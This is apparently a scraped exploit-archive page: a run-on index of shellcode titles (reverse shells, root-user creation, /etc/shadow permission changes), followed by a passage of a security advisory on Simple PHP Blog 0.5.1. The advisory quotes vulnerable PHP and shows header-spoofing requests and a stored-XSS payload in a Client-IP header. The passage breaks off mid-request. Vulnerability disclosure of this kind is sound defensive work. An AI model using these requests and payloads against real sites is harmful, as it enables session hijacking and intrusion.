Polymorphic Null-Free Shellcode (46 bytes) Windows XP SP3 English - MessageBoxA Shellcode (87 bytes) BSD/x86 - Bind Shell 2525/TCP Shellcode (167 bytes) Win32 - Checksum Routine Shellcode (18 bytes) Linux/x86 - Bind Netcat (/bin/nc) /bin/sh Shell (8080/TCP) Shellcode (75 bytes) Linux/x86 - execve /bin/sh Polymorphic Null-Free Shellcode (46 bytes) Windows XP SP3 (English) - MessageBoxA Shellcode (87 bytes) BSD/x86 - Bind TCP Shell (2525/TCP) Shellcode (167 bytes) Windows x86 - Checksum Routine Shellcode (18 bytes) Win32/XP SP3 (TR) - Add Administrator 'zrl' Shellcode (127 bytes) Windows XP SP3 x86 (Turkish) - Add Administrator User (zrl/123456) Shellcode (127 bytes) Win32/XP Professional SP3 (EN) x86 - Add New Local Administrator 'secuid0' Shellcode (113 bytes) Win32 - Add New Local Administrator 'secuid0' Shellcode (326 bytes) Windows XP Professional SP3 (English) x86 - Add Local Administrator User (secuid0/m0nk) Shellcode (113 bytes) Windows x86 - Add Local Administrator User (secuid0/m0nk) Shellcode (326 bytes) ARM - Bind Connect (68/UDP) + Reverse Shell (192.168.0.1:67/UDP) Shellcode ARM - Loader Port 0x1337 Shellcode ARM - ifconfig eth0 and Assign Address 192.168.0.2 Shellcode ARM - Bind (68/UDP) + Reverse Shell (192.168.0.1:67/UDP) Shellcode ARM - Loader (0x1337/TCP) Shellcode ARM - ifconfig eth0 192.168.0.2 up Shellcode ARM - Create a New User with UID 0 Shellcode (Metasploit) (Generator) (66+ bytes) Win32 - Speaking 'You got pwned!' Shellcode FreeBSD/x86 - connect back Shellcode (81 bytes) BSD/x86 - Bind Shell 31337/TCP + fork Shellcode (111 bytes) Win32 - eggsearch Shellcode (33 bytes) Linux/SuperH (sh4) - setuid(0) + chmod(_/etc/shadow__ 0666) + exit(0) Shellcode (43 bytes) Linux/x86 - Bind Shell Netcat 6666/TCP Shellcode (69 bytes) OSX/Intel (x86-64) - Reverse TCP Shell (FFFFFFFF:4444/TCP) Shellcode (131 bytes) Windows - WinExec Add New Local Administrator 'RubberDuck' + ExitProcess Shellcode (279 bytes) Linux/x86 - ASLR deactivation Shellcode (83 bytes) Windows - Download File + Execute via DNS (IPv6) Shellcode (Generator) (Metasploit) Linux/x86 - Reverse TCP SSL Shell (localhost:8080) Shellcode (422 bytes) ARM - Add Root User Shellcode (Metasploit) (66+ bytes) (Generator) Windows 5.0 < 7.0 x86 - Speaking _You got pwned!_ Null-Free Shellcode FreeBSD/x86 - Reverse TCP /bin/sh Shell (127.0.0.1:1337/TCP) Shellcode (81 bytes) (Generator) BSD/x86 - Bind TCP Shell (31337/TCP) + fork Shellcode (111 bytes) Windows x86 - eggsearch Shellcode (33 bytes) Linux/SuperH (sh4) - setuid(0) + chmod 0666 /etc/shadow + exit(0) Shellcode (43 bytes) Linux/x86 - Bind Netcat (/usr/bin/netcat) /bin/sh Shell (6666/TCP) + Polymorphic XOR Encoded Shellcode (69 bytes) OSX/Intel (x86-64) - Reverse TCP /bin/sh Shell (FFFFFFFF:4444/TCP) Shellcode (131 bytes) Windows - Add Local Administrator User (RubberDuck/mudbath) + ExitProcess WinExec Shellcode (279 bytes) Linux/x86 - Disable ASLR Security Shellcode (83 bytes) Windows - Download File + Execute via DNS (IPv6) Shellcode (Generator) (Metasploit) Linux/x86 - Reverse TCP SSL Shell (localhost:8080) Shellcode (422 bytes) Win32/PerfectXp-pc1/SP3 (TR) - Add Administrator 'kpss' Shellcode (112 bytes) Linux/x86 - Egghunter Shellcode (29 bytes) Windows PerfectXp-pc1/SP3 x86 (Turkish) - Add Administrator User (kpss/12345) Shellcode (112 bytes) Linux/x86 - Egghunter Null-Free Shellcode (29 bytes) Linux/MIPS - XOR Encoder Shellcode (Generator) (60 bytes) Linux/SuperH (sh4) - setuid(0) ; execve(_/bin/sh__ NULL_ NULL) Shellcode (27 bytes) Linux/MIPS - XOR Encoder Shellcode (60 bytes) (Generator) Linux/SuperH (sh4) - setuid(0); + execve(_/bin/sh__ NULL_ NULL) Shellcode (27 bytes) Linux/MIPS - Add User(UID 0) (rOOt/'pwn3d) Shellcode (164 bytes) Linux/MIPS - Add Root User (rOOt/pwn3d) Shellcode (164 bytes) Linux/MIPS - Connectback Shellcode (port 0x7a69) (168 bytes) Linux/MIPS - Reverse TCP Shell (0x7a69/TCP) Shellcode (168 bytes) Linux/x86 - setuid(0) + setgid(0) + Add User (iph) To /etc/passwd Polymorphic Shellcode Linux/x86 - setuid(0) + setgid(0) + Add Root User (iph) To /etc/passwd Polymorphic Shellcode Linux/x86-64 - Add User (t0r/Winner) Shellcode (189 bytes) Linux/x86-64 - Add Root User (t0r/Winner) Shellcode (189 bytes) Linux/ARM (Raspberry Pi) - Reverse TCP Shell (10.1.1.2:0x1337/TCP) Shellcode (72 bytes) Linux/ARM (Raspberry Pi) - Reverse TCP /bin/sh Shell (10.1.1.2:0x1337/TCP) Shellcode (72 bytes) Linux/ARM (Raspberry Pi) - chmod(_/etc/shadow__ 0777) Shellcode (41 bytes) Linux/ARM (Raspberry Pi) - chmod 0777 /etc/shadow Shellcode (41 bytes) Windows XP Professional SP3 - Full ROP calc Shellcode (428 bytes) Windows x64 - Bind TCP Shell Shellcode (508 bytes) Windows XP Professional SP3 - calc Full ROP Shellcode (428 bytes) Windows x64 - Bind TCP Shell (4444/TCP) Shellcode (508 bytes) Cisco ASA - Authentication Bypass 'EXTRABACON' (Improved Shellcode) (69 bytes) Cisco ASA - Authentication Bypass _EXTRABACON_ (Improved Shellcode) (69 bytes) Windows RT ARM - Bind Shell 4444/TCP Shellcode Windows RT ARM - Bind TCP Shell (4444/TCP) Shellcode Windows - Messagebox Shellcode (113 bytes) Linux/MIPS (Little Endian) - Reverse TCP Shell (192.168.1.177:31337/TCP) Shellcode (200 bytes) Windows 7 x86 - Bind Shell 4444/TCP Shellcode (357 Bytes) Windows - Add Administrator 'BroK3n' Shellcode (194 bytes) Windows - Messagebox Null-FreeShellcode (113 bytes) Linux/MIPS (Little Endian) - Reverse TCP /bin/sh Shell (192.168.1.177:31337/TCP) Shellcode (200 bytes) Windows 7 x86 - Bind TCP Shell (4444/TCP) Shellcode (357 Bytes) Windows - Add Administrator User (BroK3n/BroK3n) Null-Free Shellcode (194 bytes) Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add New Root User (ALI/ALI) + Execute /bin/sh Shellcode (378 bytes) Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add New Root User (ALI/ALI) + setreuid + Execute /bin/bash Obfuscated Shellcode (521 bytes) Linux/x86-64 - Reverse TCP Shell (127.1.1.1:6969/TCP) Shellcode (139 bytes) Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add Root User (ALI/ALI) + Execute /bin/sh Shellcode (378 bytes) Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add Root User (ALI/ALI) + setreuid + Execute /bin/bash Obfuscated Shellcode (521 bytes) Linux/x86-64 - Reverse TCP /bin/bash Shell (127.1.1.1:6969/TCP) Shellcode (139 bytes) Linux/x86-64 - Bind TCP Password (Z~r0) Shell (4444/TCP) Shellcode (81/96 bytes) Linux/x86-64 - Reverse TCP Password (Z~r0) Shell (127.0.0.1:4444/TCP) Shellcode (77-85/90-98 bytes) Windows x86 - Add Administrator 'ALI' + Add To RDP Group + Enable RDP From Registry + STOP Firewall + Auto Start Terminal Service Obfuscated Shellcode (1218 bytes) Windows x64 - Add Administrator 'ALI' + Add To RDP Group + Enable RDP From Registry + STOP Firewall + Auto Start Terminal Service Obfuscated Shellcode (1218 bytes) Linux/x86-64 - Bind TCP /bin/sh Shell (4444/TCP) + Password (Z~r0) Null-Free Shellcode (81/96 bytes) Linux/x86-64 - Reverse TCP Password (Z~r0) /bin/sh Shell (127.0.0.1:4444/TCP) Null-Free + Null-Mask Shellcode (77-85/90-98 bytes) Windows x86 - Add Administrator User (ALI/ALI) + Add To RDP Group + Enable RDP From Registry + STOP Firewall + Auto Start Terminal Service Obfuscated Shellcode (1218 bytes) Windows x64 - Add Administrator User (ALI/ALI) + Add To RDP Group + Enable RDP From Registry + STOP Firewall + Auto Start Terminal Service Obfuscated Shellcode (1218 bytes) Windows XP x86-64 - Download File + Execute Shellcode (Generator) Linux/MIPS (Little Endian) - Chmod 666 /etc/shadow Shellcode (55 bytes) Linux/MIPS (Little Endian) - Chmod 666 /etc/passwd Shellcode (55 bytes) Windows XP x86-64 - Download File + Execute Shellcode (Generator) Linux/MIPS (Little Endian) - chmod 666 /etc/shadow Shellcode (55 bytes) Linux/MIPS (Little Endian) - chmod 666 /etc/passwd Shellcode (55 bytes) Linux/x86 - execve(_/bin/sh_) (ROT13 Encoded) Shellcode (68 bytes) Linux/x86 - chmod 0777 /etc/shadow obfuscated Shellcode (84 bytes) Linux/x86 - execve(_/bin/sh_) ROT13 Encoded Shellcode (68 bytes) Linux/x86 - chmod 0777 /etc/shadow Obfuscated Shellcode (84 bytes) Linux/x86 - Reverse TCP Shell (192.168.1.133:33333) Shellcode (72 bytes) Linux/x86 - Bind Shell 33333/TCP Shellcode (96 bytes) Linux/x86 - Disable ASLR Shellcode (84 bytes) Linux/x86 - Reverse TCP /bin/sh Shell (192.168.1.133:33333) Shellcode (72 bytes) Linux/x86 - Bind TCP /bin/sh Shell (33333/TCP) Shellcode (96 bytes) Linux/x86 - Disable ASLR Security Shellcode (84 bytes) Linux/x86 - Typewriter Shellcode (Generator) Linux/x86 - Create 'my.txt' Working Directory Shellcode (37 bytes) Linux/x86 - Typewriter Shellcode (Generator) Linux/x86 - Create _my.txt_ In Working Directory Shellcode (37 bytes) Win32/XP SP3 - Create ('file.txt') Shellcode (83 bytes) Win32/XP SP3 - Restart computer Shellcode (57 bytes) Linux/x86 - custom execve Shellcode (Encoder/Decoder) (Generator) Windows XP SP3 x86 - Create (_file.txt_) Shellcode (83 bytes) Windows XP SP3 x86 - Restart Computer Shellcode (57 bytes) Linux/x86 - Custom execve Shellcode (Encoder/Decoder) (Generator) Linux/x86 - Bind Shell /bin/nc -le /bin/sh -vp 17771 Shellcode (58 bytes) Linux/x86 - Bind Netcat (/bin/nc) /bin/sh Shell (17771/TCP) Shellcode (58 bytes) Linux/x86 - chmod() 777 /etc/shadow + exit() Shellcode (33 bytes) Linux/x86 - execve /bin/sh Shellcode (2) (21 bytes) Linux/x86 - chmod 777 /etc/shadow + exit() Shellcode (33 bytes) Linux/x86 - execve /bin/sh Shellcode (21 bytes) Linux/x86 - Bind Shell Netcat 5555/TCP Shellcode (60 bytes) Linux/x86-64 - execve(/bin/sh) Shellcode (30 bytes) Linux/x86 - Bind Netcat Shell (5555/TCP) Shellcode (60 bytes) Linux/x86-64 - execve(/bin/sh) Null-Free Shellcode (30 bytes) Linux/x86 - chmod('/etc/passwd'_0777) Shellcode (42 bytes) Linux/x86 - chmod('/etc/gshadow') Shellcode (37 bytes) Linux/x86 - chmod('/etc/shadow'_'0777') Shellcode (42 bytes) Linux/x86 - exec('/bin/dash') Shellcode (45 bytes) Linux/x86 - chmod 0777 /etc/passwd Shellcode (42 bytes) Linux/x86 - chmod /etc/gshadow Shellcode (37 bytes) Linux/x86 - chmod 0777 /etc/shadow Shellcode (42 bytes) Linux/x86 - exec(_/bin/dash_) Shellcode (45 bytes) Linux/x86 - /bin/sh (ROT7 Encoded) Shellcode Win32/XP SP3 (TR) - MessageBox Shellcode (24 bytes) Linux/x86 - execve /bin/sh ROT7 Encoded Shellcode Windows XP SP3 x86 (Turkish) - MessageBox Shellcode (24 bytes) Windows x86 - user32!MessageBox 'Hello World!' Null-Free Shellcode (199 bytes) Linux/x86 - /bin/sh (ROL/ROR Encoded) Shellcode Windows x86 - user32!MessageBox _Hello World!_ Null-Free Shellcode (199 bytes) Linux/x86 - execve /bin/sh ROL/ROR Encoded Shellcode OSX/x86-64 - /bin/sh Null-Free Shellcode (34 bytes) Mainframe/System Z - Bind Shell 12345/TCP Shellcode (2488 bytes) OSX/x86-64 - execve /bin/sh Null-Free Shellcode (34 bytes) Mainframe/System Z - Bind TCP Shell (12345/TCP) Null-Free Shellcode (2488 bytes) Linux/x86 - Create file with permission 7775 + exit Shellcode (Generator) Linux/x86 - Create File With Permission 7775 + exit Shellcode (Generator) OSX/x86-64 - Bind 4444/TCP Null-free Shellcode (144 bytes) Linux/x86-64 - /bin/sh Shellcode (34 bytes) Google Android - Telnetd Port 1035 with Parameters Shellcode (248 bytes) OSX/x86-64 - Bind TCP /bin/sh Shell (4444/TCP) Null-Free Shellcode (144 bytes) Linux/x86-64 - execve /bin/sh Shellcode (34 bytes) Google Android - Bind Telnetd Shell (1035/TCP) + Environment / Parameters Shellcode (248 bytes) Linux/x86-64 - Bind TCP Password (1234) Shell (31173/TCP) Shellcode (92 bytes) Linux/x86-64 - Bind TCP /bin/sh Password (1234) Shell (31173/TCP) Shellcode (92 bytes) Windows XP < 10 - WinExec Null-Free Shellcode (Generator) (Python) Linux/x86-64 - Bind 4444/TCP Shellcode (103 bytes) Linux/x86-64 - Bind TCP Password (hack) Shell (4444/TCP) Shellcode (162 bytes) Windows XP < 10 - WinExec Null-Free Shellcode (Generator) Linux/x86-64 - Bind TCP /bin/sh Shell (4444/TCP) Null-Free Shellcode (103 bytes) Linux/x86-64 - Bind TCP /bin/sh Password (hack) Shell (4444/TCP) Null-Free Shellcode (162 bytes) Linux/x86-64 - Reverse TCP Password (hack) Shell (127.0.0.1:4444/TCP) Shellcode (151 bytes) Linux/x86-64 - Reverse TCP Password (hack) /bin/sh Shell (127.0.0.1:4444/TCP) Null-Free Shellcode (151 bytes) Linux/x86-64 - execve (xor/not/div Encoded) Shellcode (54 bytes) Linux/x86-64 - execve XOR/NOT/DIV Encoded Shellcode (54 bytes) Linux x86/x86-64 - Bind 4444/TCP Shellcode (251 bytes) Linux x86/x86-64 - Bind Shell (4444/TCP) Shellcode (251 bytes) Linux/x86-64 - Reverse TCP Password (hack) Polymorphic Shell (127.0.0.1:4444/TCP) Shellcode (122 bytes) Linux/x86-64 - Reverse TCP Password (hack) Polymorphic Shell (127.0.0.1:4444/TCP) Shellcode (135 bytes) Linux/x86-64 - Reverse TCP Password (hack) /bin/sh Shell (127.0.0.1:4444/TCP) Polymorphic Shellcode (122 bytes) Linux/x86-64 - Reverse TCP Password (hack) Shell (127.0.0.1:4444/TCP) Polymorphic Shellcode (135 bytes) Linux/ARM - Connect back to 10.0.0.10:1337 with /bin/sh Shellcode (95 bytes) Linux/ARM - Reverse TCP /bin/sh Shell (10.0.0.10:1337/TCP) Shellcode (95 bytes) Linux/x86-64 - Bind 5600/TCP Shellcode (81 bytes) Linux/x86-64 - Bind TCP Shell (5600/TCP) Shellcode (81 bytes) Linux/x86-64 - Bind 5600/TCP Shellcode (86 bytes) Linux/x86-64 - Bind TCP Shell (5600/TCP) Shellcode (86 bytes) Linux/x86 - Reverse TCP Shell (::ffff:192.168.64.129:1472/TCP) (IPv6) Shellcode (159 bytes) Linux/x86 - Bind 1472/TCP Shell (IPv6) Shellcode (1250 bytes) Linux/x86 - Reverse TCP /bin/sh Shell (::ffff:192.168.64.129:1472/TCP) (IPv6) Shellcode (159 bytes) Linux/x86 - Bind TCP /bin/sh Shell (1472/TCP) (IPv6) Shellcode (1250 bytes) Win32 .Net Framework - Execute Native x86 Shellcode Linux/x86-64 - Bind 1472/TCP Shell (IPv6) Shellcode (199 bytes) Linux/x86-64 - Reverse TCP Shell (192.168.209.131:1472/TCP) (IPv6) Shellcode (203 bytes) Windows .Net Framework x86 - Execute Native x86 Shellcode Linux/x86-64 - Bind TCP /bin/sh Shell (1472/TCP) (IPv6) Shellcode (199 bytes) Linux/x86-64 - Reverse TCP /bin/sh Shell (192.168.209.131:1472/TCP) (IPv6) Shellcode (203 bytes) Linux/x86 - Bind Shell 1234/TCP (Configurable Port) Shellcode (87 bytes) Linux/x86 - Bind TCP /bin/sh Shell (1234/TCP) Shellcode (87 bytes) (Generator) Linux/x86 - Bind Shell 4444/TCP Shellcode (656 bytes) Linux/x86-64 - execve (XOR Encoded) Shellcode (84 bytes) Linux/Windows/BSD x86-64 - execve(_/bin//sh__ {_//bin/sh__ _-c__ _cmd_}_ NULL) Execute Command Shellcode (194 bytes) Linux/x86 - Bind TCP /bin/bash Shell (4444/TCP) Shellcode (656 bytes) Linux/x86-64 - execve XOR Encoded Shellcode (84 bytes) BSD / Linux / Windows x86/x86-64 - execve(_/bin//sh__ {_//bin/sh__ _-c__ _cmd_}_ NULL) Execute Command Shellcode (194 bytes) Linux/x86 - Bind Shell /bin/nc -le /bin/sh -vp13337 Shellcode (56 bytes) Linux/x86 - Bind Netcat (/bin/nc) /bin/sh Shell (13337/TCP) Shellcode (56 bytes) Linux/x86 - /bin/sh + ASLR Bruteforce Shellcode Linux/x86-64 - /etc/passwd File Sender Shellcode (164 bytes) Linux/x86-64 - Bind Netcat Shellcode (64 bytes) Linux/x86 - Bind Shell 4444/TCP Shellcode (98 bytes) Linux/x86-64 - Bind Ncat (4442/TCP) Shell / SSL / Multi-Channel (4444/TCP-4447/TCP) / Persistant / Fork / IPv4/6 / Password Shellcode (176 bytes) Linux/x86 - Reverse TCP Shell (192.168.227.129:4444) Shellcode (75 bytes) Linux/x86-64 - Reverse TCP Shell (10.1.1.4/TCP) / Continuously Probing via Socket / Port-Range (391-399) / Password (la crips) Shellcode (172 bytes) Linux/x86 - execve /bin/sh + ASLR Bruteforce Shellcode Linux/x86-64 - Reverse TCP cat /etc/passwd (192.168.86.128:1472/TCP) Shellcode (164 bytes) Linux/x86-64 - Bind Netcat Shell Null-Free Shellcode (64 bytes) Linux/x86 - Bind TCP /bin/sh Shell (4444/TCP) Shellcode (98 bytes) Linux/x86-64 - Bind Ncat Shell (4442/TCP) / SSL / Multi-Channel (4444-4447/TCP) / Persistant / Fork / IPv4/6 / Password Null-Free Shellcode (176 bytes) Linux/x86 - Reverse TCP /bin/sj Shell (192.168.227.129:4444) Shellcode (75 bytes) Linux/x86-64 - Reverse TCP Shell (10.1.1.4/TCP) / Continuously Probing via Socket / Port-Range (391-399) / Password (la crips) Null-Free Shellcode (172 bytes) Linux/x86-64 - Bind TCP (4442/TCP) Shell / Syscall Persistent / Multi-Terminal (4444/TCP-4447/TCP) / Password (la crips) / Daemon Shellcode (83/148/177 bytes) Linux/CRISv32 - Axis Communication Connect Back Shellcode (189 bytes) Linux/x86-64 - Bind TCP Shell (4442/TCP) / Syscall Persistent / Multi-Terminal (4444-4447/TCP) / Password (la crips) / Daemon Shellcode (83/148/177 bytes) Linux/CRISv32 - Axis Communication - Reverse TCP /bin/sh Shell (192.168.57.1:443/TCP) Shellcode (189 bytes) Linux/x86 - Bind Netcat 98/TCP + UDP Shellcode (44/52 bytes) Linux/x86 - Bind zsh 9090/TCP Shellcode (96 bytes) Linux/x86 - Reverse TCP ZSH (127.255.255.254:9090/TCP) Shellcode (80 bytes) Linux/x86 - Bind Netcat Shell (98/TCP + UDP) Shellcode (44/52 bytes) Linux/x86 - Bind TCP /bin/zsh Shell (9090/TCP) Shellcode (96 bytes) Linux/x86 - Reverse TCP /bin/zsh Shell (127.255.255.254:9090/TCP) Shellcode (80 bytes) Windows x64 - WinExec() Shellcode (93 bytes) Windows x64 - cmd.exe WinExec() Shellcode (93 bytes) Linux/x86-64 - /bin/sh -c reboot Shellcode (89 bytes) Linux/x86-64 - execve /bin/sh -c reboot Shellcode (89 bytes) Linux/x86 - Reverse Netcat + mkfifo (-e option disabled) Shell (localhost:9999) Shellcode (180 bytes) Linux/x86 - /bin/bash -c Arbitrary Command Execution Shellcode (72 bytes) Linux/x86 - Reverse Netcat + mkfifo (-e option disabled) Shell (localhost:9999) Shellcode (180 bytes) Linux/x86 - execve /bin/bash -c Arbitrary Command Execution Null-Free Shellcode (72 bytes) Linux/x86-64 - Bind 5600/TCP - Shellcode (87 bytes) Linux/x86-64 - Bind TCP Shell (5600/TCP) Shellcode (87 bytes) Linux - Reverse TCP Multi/Dual Mode Shell Shellcode (Genearator) (129 bytes) Linux/x86 - Reverse TCP Alphanumeric Staged Shell (127.0.0.1:4444/TCP) Shellcode (103 bytes) Linux - Bind Shell Dual/Multi Mode Shellcode (156 bytes) Linux - Reverse TCP Multi/Dual Mode Shell Shellcode (129 bytes) (Generator) Linux/x86 - Reverse TCP /bin/sh Alphanumeric Staged Shell (127.0.0.1:4444/TCP) Shellcode (103 bytes) Linux - Bind TCP Dual/Multi Mode Shell Shellcode (156 bytes) Linux/x86-64 - Reverse TCP Shell (127.0.0.1:4444/TCP) Shellcode (65 bytes) Linux/x86-64 - Reverse TCP /bin/sh Shell (127.0.0.1:4444/TCP) Shellcode (65 bytes) Windows x86 - Executable Directory Search Shellcode (130 bytes) Windows x86 - Executable Directory Search Null-Free Shellcode (130 bytes) Linux/x86-64 - Flush IPTables Polymorphic Shellcode (47 bytes) Linux/x86-64 - Flush IPTables Rules (/sbin/iptables -F) Polymorphic Shellcode (47 bytes) Linux/x86-64 - Reverse Netcat Polymorphic Shell (127.0.0.1:1234) Shellcode (106 bytes) Linux/x86-64 - Reverse Netcat Shell (127.0.0.1:1234) Polymorphic Shellcode (106 bytes) Linux/x86 - Bind Shell Shellcode (44 bytes) Linux/x86 - Bind TCP /bin/sh Random Port Shell Shellcode (44 bytes) Linux/x86 - Reverse TCP Shell (127.1.1.1:11111/TCP) Shellcode (67 bytes) Linux/x86 - Reverse /bin/bash Shell (192.168.3.119:54321) Shellcode (110 bytes) Linux/x86 - Reverse TCP Shell (127.1.1.1:11111/TCP) Null-Free Shellcode (67 bytes) Linux/x86 - Reverse TCP /bin/bash Shell (192.168.3.119:54321) Shellcode (110 bytes) Linux/x86 - Disable ASLR Shellcode (80 bytes) Linux/x86-64 - Reverse TCP Shell (::1:1472/TCP) (IPv6) Shellcode (113 bytes) Linux/x86 - Disable ASLR Security Shellcode (80 bytes) Linux/x86-64 - Reverse TCP Shell (::1:1472/TCP) (IPv6) Null-Free Shellcode (113 bytes) Linux/x86-64 - /bin/sh Shellcode (31 bytes) Linux/x86 - execve(/bin/sh) setuid(0) setgid(0) (XOR Encoded) Shellcode (66 bytes) Linux/x86-64 - execve /bin/sh Shellcode (31 bytes) Linux/x86 - execve(/bin/sh) + setuid(0) + setgid(0) XOR Encoded Shellcode (66 bytes) Linux/x86 - Reverse UDP Shell (127.0.0.1:53/UDP) Shellcode (668 bytes) Linux/x86 - Bind Shell 4444/TCP Shellcode (75 bytes) Linux/x86 - Reverse UDP /bin/sh Shell (127.0.0.1:53/UDP) Shellcode (668 bytes) Linux/x86 - Bind TCP /bin/sh Shell (4444/TCP) Null-Free Shellcode (75 bytes) Linux x86 - /bin/sh Shellcode (24 bytes) Linux x86 - execve /bin/sh Shellcode (24 bytes) Linux/x86_64 - kill All Processes Shellcode (19 bytes) Linux/x86_64 - Kill All Processes Shellcode (19 bytes) Php Cloud mining Script - Authentication Bypass (Bitcoin / Dogecoin) PHP Cloud Mining Script - Authentication Bypass
731 lines
No EOL
26 KiB
Text
Executable file
731 lines
No EOL
26 KiB
Text
Executable file
Title: Simple PHP Blog (sphpblog) <= 0.5.1 Multiple Vulnerabilities
|
|
Vendor: http://sourceforge.net/projects/sphpblog/
|
|
|
|
Advisory: http://acid-root.new.fr/?0:15
|
|
Author: DarkFig < gmdarkfig (at) gmail (dot) com >
|
|
|
|
Released on: 2007/10/21
|
|
Changelog: ----------
|
|
L M H T
|
|
Summary: Ip Spoofing [X] [_] [_] [X]
|
|
Cross Site Scripting [X] [_] [_] [X]
|
|
Session Fixation [X] [_] [_] [X]
|
|
mail() CRLF Injection [X] [_] [_] [_]
|
|
Local File Inclusion (+CSRF) [_] [X] [_] [X]
|
|
File Deletion (+CSRF) [_] [X] [_] [X]
|
|
File Upload Vulnerability [_] [_] [X] [X]
|
|
Code Execution (+CSRF) [_] [_] [X] [X]
|
|
|
|
Legend: L - Low risk M - Medium risk
|
|
H - High risk T - Tested
|
|
|
|
Risk level: Medium / High
|
|
CVE: ----------
|
|
|
|
|
|
|
|
I - IP SPOOFING
|
|
|
|
The file "scripts/sb_communicate.php" contains the following
|
|
code:
|
|
|
|
19| function getIP() {
|
|
20| if ( !empty ( $_SERVER[ 'HTTP_CLIENT_IP' ] ) ) {
|
|
21| $ip = $_SERVER[ 'HTTP_CLIENT_IP' ];
|
|
22| }
|
|
23| else if ( !empty ( $_SERVER[ 'HTTP_X_FORWARDED_FOR' ] ) ) {
|
|
24| $ip = $_SERVER[ 'HTTP_X_FORWARDED_FOR' ];
|
|
25| }
|
|
26| else if ( !empty ( $_SERVER[ 'REMOTE_ADDR' ] ) ) {
|
|
27| $ip = $_SERVER[ 'REMOTE_ADDR' ];
|
|
28| }
|
|
29| else if ( getenv( "HTTP_CLIENT_IP" ) ) {
|
|
30| $ip = getenv( "HTTP_CLIENT_IP" );
|
|
31| }
|
|
32| else if ( getenv( "HTTP_X_FORWARDED_FOR" ) ) {
|
|
33| $ip = getenv( "HTTP_X_FORWARDED_FOR" );
|
|
34| }
|
|
35| else if ( getenv( "REMOTE_ADDR") ) {
|
|
36| $ip = getenv( "REMOTE_ADDR" );
|
|
37| }
|
|
38| else {
|
|
39| $ip = "UNKNOWN";
|
|
40| }
|
|
41| return( $ip );
|
|
42| }
|
|
|
|
So, an attacker can spoof his IP, he just have to create
|
|
an HTTP packet, add a special header, and send it. The
|
|
HTTP packet will look's like this:
|
|
|
|
GET /index.php HTTP/1.1\r\n
|
|
Host: localhost\r\n
|
|
X-Forwarded-For: 127.0.0.1\r\n
|
|
Connection: keep-alive\r\n\r\n
|
|
|
|
Later, we'll see how to gain the administrator's session
|
|
id. Even if we got the good session id, there is a
|
|
protection that "normally" don't permit to be logged in.
|
|
Let's see a part of the file "scripts/sb_login.php":
|
|
|
|
28| // Check if user is logged in.
|
|
29| if ( isset( $_SESSION[ 'logged_in' ] ) &&
|
|
| $_SESSION[ 'logged_in' ] == 'yes' ) {
|
|
|
|
|
30| if ( $_SESSION[ 'site_path' ] ===
|
|
| dirname($_SERVER[ 'PHP_SELF' ]) ) {
|
|
|
|
|
31| if ( $_SESSION[ 'ip' ] === getIP() ) {
|
|
32| // User is logged in.
|
|
33| return ( true );
|
|
34| }
|
|
35| }
|
|
36| }
|
|
|
|
Thanks to the getIP() function, if we know the
|
|
administrator's IP (later we'll see how to get it easily),
|
|
we can bypass the third condition.
|
|
|
|
|
|
|
|
II - CROSS SITE SCRIPTING
|
|
|
|
When a guest add a comment, an HTTP packet is sent to
|
|
"comment_add_cgi.php". Before writing the comment into
|
|
a file, there is some conditions, the first condition is
|
|
that the IP sent with the POST method, must be the same
|
|
as the IP returned by the getIP() function. Let's see
|
|
the code:
|
|
|
|
88| if ($ok) {
|
|
89| // Verify that posted IP and actual IP matches.
|
|
90| if ( getIP() === $_POST['user_ip'] ) {
|
|
91| $ipMatches = true;
|
|
92| } else {
|
|
93| $ipMatches = false;
|
|
94| $ok = false;
|
|
95| $error_message = $lang_string[ 'error_no_match' ];
|
|
96| }
|
|
97| }
|
|
|
|
This is useless, I don't know what the author wanted to
|
|
do but this can be bypassed easily. After some conditions,
|
|
the write_comment() function is called:
|
|
|
|
219| $result = write_comment( $_POST[ 'y' ], $_POST[ 'm' ],
|
|
| $_POST[ 'entry' ],
|
|
220| $comment_name,
|
|
221| $comment_email,
|
|
222| $comment_url,
|
|
223| $comment_text,
|
|
224| $_POST[ 'user_ip' ],
|
|
225| $moderationFlag,
|
|
226| time() );
|
|
|
|
This function is situated in "scripts/sb_comments.php".
|
|
Let's see the data which will be stored in a file:
|
|
|
|
519| // Save the file
|
|
520| $save_data = array();
|
|
521| $save_data[ 'VERSION' ] = $sb_info[ 'version' ];
|
|
522| $save_data[ 'NAME' ] = clean_post_text( $comment_name );
|
|
523| $save_data[ 'DATE' ] = $comment_date;
|
|
524| $save_data[ 'CONTENT' ] = sb_parse_url( clean_post_text( $comment_text ) );
|
|
|
|
|
525| if ( $comment_email != '' ) {
|
|
526| $save_data[ 'EMAIL' ] = clean_post_text( $comment_email );
|
|
527| }
|
|
|
|
|
528| if ( $comment_url != '' ) {
|
|
529| $save_data[ 'URL' ] = clean_post_text( $comment_url );
|
|
530| }
|
|
|
|
|
531| $save_data[ 'IP-ADDRESS' ] = $user_ip; // New 0.4.8
|
|
532| $save_data[ 'MODERATIONFLAG' ] = $hold_flag;
|
|
533|
|
|
534| // Implode the array
|
|
535| $str = implode_with_keys( $save_data );
|
|
536|
|
|
537| // Save the file
|
|
538| $result = sb_write_file( $entryFile, $str );
|
|
|
|
The clean_post_text() function protect against XSS, it
|
|
also replace a string separator (by its html equivalent)
|
|
which is used when comment's data are extracted.
|
|
This function is in the file "scripts/sb_formatting.php":
|
|
|
|
13| function clean_post_text( $str ) {
|
|
14| // Cleans post text input.
|
|
15| //
|
|
16| // Strip out and replace pipes with colons. HTML-ize entities.
|
|
17| // Use charset from the language file to make sure we're only
|
|
18| // encoding stuff that needs to be encoded.
|
|
19| //
|
|
20| // This makes entries safe for saving to a file (since the data
|
|
21| // format is pipe delimited.)
|
|
22| global $lang_string;
|
|
23| $str = str_replace( '|', '|', $str );
|
|
24| $str = @htmlspecialchars( $str, ENT_QUOTES, $lang_string[ 'php_charset' ] );
|
|
25|
|
|
26| return ( $str );
|
|
27| }
|
|
|
|
The clean_post_text() function isn't applied to the
|
|
IP address which will be stored in the file. So this
|
|
can be exploited to conduct XSS attack. The attacker
|
|
will send an HTTP packet like this one:
|
|
|
|
POST /comment_add_cgi.php HTTP/1.1\r\n
|
|
Host: localhost\r\n
|
|
Client-IP: <script>alert(666)</script>\r\n
|
|
Connection: keep-alive\r\n
|
|
